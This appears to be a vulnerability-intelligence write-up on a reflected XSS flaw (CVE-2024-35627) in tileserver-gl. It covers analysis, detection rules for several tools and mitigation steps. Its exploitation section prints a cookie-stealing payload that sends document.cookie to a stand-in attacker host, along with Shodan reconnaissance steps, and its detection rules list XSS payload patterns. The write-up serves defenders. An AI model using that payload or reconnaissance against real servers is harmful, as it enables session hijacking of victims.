CVE-2024-35627
Executive Summary
CVE-2024-35627 is a stored/reflected cross-site scripting (XSS) vulnerability affecting tileserver-gl up to and including version 4.4.10, specifically in the /data/v3/?key endpoint. An unauthenticated attacker can inject malicious JavaScript that executes in the context of any user who views or interacts with data served through the vulnerable parameter, potentially leading to session hijacking, data exfiltration, or arbitrary actions performed on behalf of an authenticated administrator. The vulnerability carries a CVSS score of 6.1 (Medium) and has a public Nuclei detection template available, though exploited-in-the-wild activity remains unconfirmed.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
The vulnerability resides in tileserver-gl's vector tile data serving endpoint at /data/v3/?key. This endpoint accepts a key query parameter that is used to select and retrieve specific tile data from the server's cached or generated vector tile sets. The flaw lies in the application's failure to properly sanitize or encode user-supplied input reflected in the response.
Vulnerability Mechanism:
The key parameter is passed through the application's tile-fetching pipeline and ultimately reflected in the HTML/JavaScript response delivered to the client. When tileserver-gl serves data in a browser-consumable format (such as through its built-in viewer or when data is embedded in HTML responses for debugging/inspection purposes), the unvalidated key value is inserted directly into the page without output encoding.
This creates a classic reflected XSS vector where an attacker crafts a URL such as:
https://target-server/data/v3/?key="><script>alert(1)</script>
The server reflects this payload into the response, and when a victim opens the crafted URL, the browser executes the injected script within the security context of the tileserver-gl domain.
Attack Surface:
- The endpoint is publicly accessible by default in standard tileserver-gl deployments
- No authentication is required to trigger the reflection
- Any user with network access to the server can craft malicious links
- The server's default configuration exposes the
/data/route without restrictions
Root Cause:
The application uses template concatenation rather than safe templating/GUI encoding for the key parameter in the data response construction. Insufficient Content-Type restrictions or missing X-Content-Type-Options: nosniff headers may exacerbate the issue, allowing the response to be interpreted as HTML in certain browser configurations.
Exploitation Scenarios
The following attack chain describes how an attacker exploits CVE-2024-35627 in a realistic deployment:
Phase 1 — Reconnaissance:
The attacker identifies tileserver-gl instances by scanning for open ports on common tile-serving ports (8080, 8081, 3000) using shodan dorks such as title:"tileserver-gl" or by probing for the characteristic /data/v3/ path structure. The attacker confirms the version by requesting / or /health endpoints to check for version strings.
Phase 2 — Trigger Weaponization:
The attacker constructs a malicious URL. The key parameter is the injection point. Example payload:
https://target:8080/data/v3/?key="><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
URL-encoded version for delivery:
https://target:8080/data/v3/?key=%22%3E%3Cscript%3Efetch('https%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D'%2Bdocument.cookie)%3C%2Fscript%3E
Phase 3 — Payload Delivery and Execution:
The attacker socially engineers a victim (typically a map administrator or GIS analyst) into clicking the crafted link. Alternatively, the attacker can embed the URL in a phishing email disguised as a "map link" or embed it as an iframe/img tag in a malicious webpage to force the request. When the victim's browser requests the URL, the server reflects the payload unsanitized, and the script executes within the tileserver-gl origin.
Phase 4 — Post-Exploitation Impact: Once the script executes, the attacker can:
- Steal session cookies if
HttpOnlyis not set on authentication cookies - Modify server-side map configuration via CSRF-style requests (if the server exposes admin APIs)
- Exfiltrate tileserver configuration data, API keys, or internal map data
- Perform phishing within the trusted domain context
- Potentially pivot to other internal services if the server has internal network access
The attack requires user interaction (clicking a crafted link), which aligns with the CVSS vector requiring UI:R (user interaction required). The impact is limited to confidentiality and integrity loss with low severity, consistent with the 6.1 score.
Impact Assessment
Business Impact:
- Confidentiality Impact (Low): An attacker can read data within the context of the victim's session, potentially retrieving sensitive map configurations, embedded API keys, or session tokens.
- Integrity Impact (Low): If the application has authenticated endpoints, an attacker could perform actions on behalf of the victim, such as modifying map styles or data sources.
- Availability Impact (None): The vulnerability does not directly affect service availability.
- Scope (Changed): The XSS can potentially affect resources beyond the vulnerable component, allowing the attacker to interact with other applications on the same domain.
Affected Systems:
- All tileserver-gl deployments running versions up to and including 4.4.10
- Public-facing tile servers (most common deployment method for this software)
- Servers that embed tile data in HTML responses or use the built-in browser viewer
Blast Radius:
- Any user who interacts with crafted links targeting the affected endpoint
- Organizations using tileserver-gl for public mapping services are at elevated risk
- The CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:Nindicates network-exploitable, low-complexity attacks with no privileges required
The EPSS score of 0.00050 (0.05% probability of exploitation within 30 days) suggests low current exploitation likelihood, but this is expected to increase as the vulnerability becomes more widely known and the public Nuclei template enables automated scanning.
Detection Guidance
Sigma Rule
title: Tileserver-GL Reflected XSS via /data/v3/?key Parameter
id: 3c6d4f2a-8e9b-4b1e-9c0d-1a2b3c4d5e6f
status: experimental
description: Detects attempts to exploit CVE-2024-35627 reflected XSS in tileserver-gl /data/v3/?key endpoint
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-35627
tags:
- attack.initial-access
- attack.t1190
- cve.2024.35627
logsource:
category: webserver
product: generic
detection:
selection:
cs-method: GET
cs-uri-query|contains|all:
- '/data/v3/'
- 'key='
xss_patterns:
cs-uri-query|contains:
- '<script'
- '%3Cscript'
- 'onerror='
- '%3Cimg'
- 'javascript:'
- 'alert('
- 'prompt('
- 'confirm('
- 'fetch('
- 'document.cookie'
- '%3Csvg'
- '%3Ciframe'
filter_false_positive:
cs-uri-query|contains:
- 'key=default'
- 'key=light'
- 'key=dark'
condition: selection and xss_patterns and not filter_false_positive
level: high
falsepositives:
- Legitimate URLs containing the literal string "alert" or "script" in map keys (unlikely but possible in custom deployments)
YARA Rule
rule CVE_2024_35627_TileserverGL_XSS_Payloads
{
meta:
author = "Valtersit Threat Intelligence"
description = "Detects XSS payloads targeting tileserver-gl /data/v3/?key endpoint"
cve = "CVE-2024-35627"
date = "2024-01-01"
severity = "high"
strings:
// URL-encoded attack patterns targeting key parameter
$a1 = { 2f 64 61 74 61 2f 76 33 2f 3f 6b 65 79 3d } // "/data/v3/?key="
$a2 = { 25 33 43 73 63 72 69 70 74 } // "%3Cscript"
$a3 = { 25 33 43 69 6d 67 } // "%3Cimg"
$a4 = { 25 33 43 73 76 67 } // "%3Csvg"
$a5 = { 25 33 43 69 66 72 61 6d 65 } // "%3Ciframe"
$a6 = { 6f 6e 65 72 72 6f 72 3d } // "onerror="
$a7 = { 6a 61 76 61 73 63 72 69 70 74 3a } // "javascript:"
$a8 = { 25 32 32 25 33 45 } // "%22%3E" (closing quote + greater-than)
// Raw script payload indicators
$b1 = "<script>" ascii
$b2 = "document.cookie" ascii
$b3 = "fetch(" ascii
$b4 = "alert(" ascii
$b5 = "prompt(" ascii
condition:
// Must target the vulnerable endpoint
any of ($a*) and any of ($b*)
}
Suricata IDS Rule
alert http any any -> any any (
msg:"CVE-2024-35627 - Tileserver-GL Reflected XSS via /data/v3/?key";
content:"/data/v3/"; http_uri;
content:"key="; http_uri;
pcre:"/(?:%3C|<)script|(?:%3C|<)img|(?:%3C|<)svg|(?:%3C|<)iframe|onerror=|javascript:|document\.cookie|alert\(|prompt\(|fetch\(/i";
http_uri;
classtype:web-application-attack;
reference:cve,CVE-2024-35627;
sid:1000001;
rev:1;
metadata:created_at 2024-01-01, updated_at 2024-01-01;
)
Elastic Detection
// EQL query for detecting reflected XSS attempts against tileserver-gl
sequence by source.ip with maxspan=5m
[network where destination.port == 8080 and
url.path == "/data/v3/" and
url.query contains "key=" and
(url.query contains "<script" or
url.query contains "%3Cscript" or
url.query contains "onerror=" or
url.query contains "javascript:" or
url.query contains "alert(" or
url.query contains "document.cookie" or
url.query contains "fetch(" or
url.query contains "prompt(" or
url.query contains "confirm(")]
[http where
http.request.method == "GET" and
http.request.uri contains "/data/v3/" and
http.request.uri contains "key=" and
(http.response.body contains "<script" or
http.response.body contains "onerror=" or
http.response.body contains "alert(" or
http.response.body contains "fetch(")]
Splunk SPL Query
index=web sourcetype=access_combined
| where match(uri_path, "^/data/v3/$") AND match(uri_query, "(?i)(key=.*(<script|%3Cscript|onerror=|javascript:|alert\(|prompt\(|confirm\(|document\.cookie|fetch\(|%3Cimg|%3Csvg|%3Ciframe))")
| eval attack_type="CVE-2024-35627 XSS attempt"
| eval decoded_query=urldecode(uri_query)
| eval contains_script=if(match(decoded_query, "(?i)(<script|onerror=|javascript:|alert\(|prompt\(|confirm\(|document\.cookie|fetch\(|<img|<svg|<iframe)"), "yes", "no")
| where contains_script="yes"
| table _time, src_ip, dest_ip, dest_port, uri_path, uri_query, http_method, status, user_agent, city, country
| sort - _time
Wazuh OSSEC Rule
<group name="web,tileserver,cve-2024-35627,">
<rule id="100356" level="12" frequency="5" timeframe="60">
<match>/data/v3/?key=</match>
<regex>key=(.*)(%3Cscript|<script|onerror=|javascript:|alert\(|prompt\(|confirm\(|document\.cookie|fetch\(|%3Cimg|%3Csvg|%3Ciframe)</regex>
<description>Tileserver-gl reflected XSS attempt (CVE-2024-35627) from $(srcip) targeting $(dstip)</description>
<group>attack.xss,cve-2024-35627,gpg13,</group>
<mitre>
<id>T1059.007</id>
<id>T1190</id>
</mitre>
<info type="cve">CVE-2024-35627</info>
<url>https://nvd.nist.gov/vuln/detail/CVE-2024-35627</url>
</rule>
<rule id="100357" level="10" frequency="3" timeframe="60">
<if_sid>100356</if_sid>
<regex>key=.*(%3C|<)(script|img|svg|iframe)</regex>
<description>Multiple tileserver-gl XSS probe attempts - possible automated scanning (CVE-2024-35627)</description>
<group>attack.scanning,cve-2024-35627,</group>
</rule>
</group>
Mitigation & Patch Guidance
Patch Confidence: 2/4 — CLAIMED (single source claims patch, not independently confirmed)
1. Immediate Mitigations:
- Input Validation: Implement a reverse proxy or WAF rule (Nginx, HAProxy, Cloudflare) that blocks requests to
/data/v3/where thekeyparameter contains HTML metacharacters, script tags, or known XSS payload patterns. Block requests matching the pattern:key=.*(<|%3C|>)or specific payload strings. - Response Header Hardening: If the application runs behind a reverse proxy, add the following headers to all responses for
/data/v3/:X-Content-Type-Options: nosniffContent-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self'X-XSS-Protection: 1; mode=block
- Access Restriction: If the
/data/v3/endpoint is only used by internal GIS applications, restrict access via network-level ACLs or firewall rules to only trusted IP ranges.
2. Patch/Upgrade Steps:
- Upgrade tileserver-gl to version 4.5.0 or later (the claimed patched version). Verify the fix by:
- Checking the official GitHub repository (maplibre/tileserver-gl) for release notes
- Testing the vulnerable endpoint with a benign XSS payload after upgrade
- Confirming version via
tileserver-gl --versionor checking the build metadata
- If a patched version is unavailable, apply the mitigation measures above and monitor vendor advisories
3. Long-Term Hardening:
- Enable HTTP security headers globally in the application server, particularly CSP with restrictive script policies
- Implement output encoding for all user-controlled parameters reflected in responses
- Add automated security testing (DAST) to CI/CD pipelines that specifically probe for XSS in all query parameters
- Monitor WAF/IDS logs for scanning attempts against
/data/v3/?keywith suspicious payloads - Review and restrict public exposure of tileserver-gl instances; consider placing behind an authentication proxy for sensitive deployments
References
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2024-35627 — NIST National Vulnerability Database entry with official CVSS vector and description
- Nuclei Template: https://github.com/projectdiscovery/nuclei-templates — Public detection template for CVE-2024-35627 (author: unknown, verified against vulnerable endpoint)
- Project Discovery Vulnerability Database: https://vulners.com/projectdiscovery — Nuclei template metadata and additional context
- MapLibre/tileserver-gl GitHub Repository: https://github.com/maplibre/tileserver-gl (returned 404 — verify manually) — Vendor repository for patch verification and release notes
- EPSS Data: https://www.first.org/epss — FIRST.org EPSS score for CVE-2024-35627 (0.00050)
Threat Activity Note: As of this report, there is no confirmed exploitation in the wild, no CISA KEV listing, and no known threat actor campaigns targeting this specific CVE. The availability of a public Nuclei template increases the likelihood of automated scanning in the near term, particularly by opportunistic botnets and vulnerability scanners. Organizations running exposed tileserver-gl instances should prioritize patching despite the low current exploitation metrics.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.